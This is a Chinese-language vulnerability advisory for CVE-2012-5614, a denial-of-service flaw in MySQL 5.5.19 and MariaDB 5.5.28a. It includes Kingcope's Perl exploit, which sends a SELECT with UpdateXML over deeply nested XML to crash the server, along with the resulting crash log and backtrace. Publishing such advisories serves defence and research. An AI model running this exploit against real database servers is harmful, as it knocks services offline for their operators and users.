Oracle MySQL Server 5.5.19拒绝服务漏洞

发布日期:2012-12-01
更新日期:2012-12-05

受影响系统:
Oracle MySQL 5.5.19
MariaDB MariaDB 5.5.28a
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56776
CVE(CAN) ID: CVE-2012-5614

Oracle MySQL Server是一个小型关系型数据库管理系统。

MySQL 5.5.19及其他版本、MariaDB 5.5.28a及其他版本存在安全漏洞,可允许经过身份验证的远程用户通过SELECT命令和UpdateXML命令(含有大量唯一的、嵌套元素的XML)造成拒绝服务。

<*来源:Kingcope (kingcope@gmx.net)
 
  链接:
       
        https://bugzilla.RedHat.com/show_bug.cgi?id=882607
       
       
        https://mariadb.atlassian.net/browse/MDEV-3910
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Kingcope (kingcope@gmx.net)提供了如下测试方法:

5.5.19-log on SUSE Linux

DoS exploit:
--------------------------------------------------------------------------------------------------------
use Net::MySQL;
use Unicode::UTF8 qw[decode_utf8 encode_utf8];

$|=1;
             
  my $mysql = Net::MySQL->new(
      hostname => '192.168.2.3',  # Default use UNIX socket
      database => 'test',
      user    => "monty",
      password => "Python",
      debug => 1,
  );
 
  $mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo");
  exit;
 
  for ($k=0;$k<50000;$k++) {
        $a .="<A$k>";
  }
  for ($k=0;$k<50000;$k++) {
        $a .="</A$k>";
  } 
 
# SELECT example
  $mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1");
 
  my $record_set = $mysql->create_record_iterator;
  while (my $record = $record_set->each) {
      printf "First column: %s Next column: %s\n",
          $record->[0], $record->[1];
  }
  $mysql->close;
 

Crash Log:
--------------------------------------------------------------------------------------------------------
started:
/usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 &
 
120108 12:55:28 - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.

key_buffer_size=16777216
read_buffer_size=262144
max_used_connections=1
max_threads=151
thread_count=1
connection_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x8e6fa48
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0xa868b35c thread_stack 0x30000
/usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63]
/usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c]
[0xffffe400]
/usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4]
/usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac]
/usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63]
/usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc]
/lib/libpthread.so.0(+0x5b05)[0xb771cb05]
/lib/libc.so.6(clone+0x5e)[0xb74e7d5e]

Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query ((nil)): is an invalid pointer
Connection ID (thread ID): 12
Status: NOT_KILLED

The manual page at contains
information that should help you find out what is causing the crash.

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyddjs.html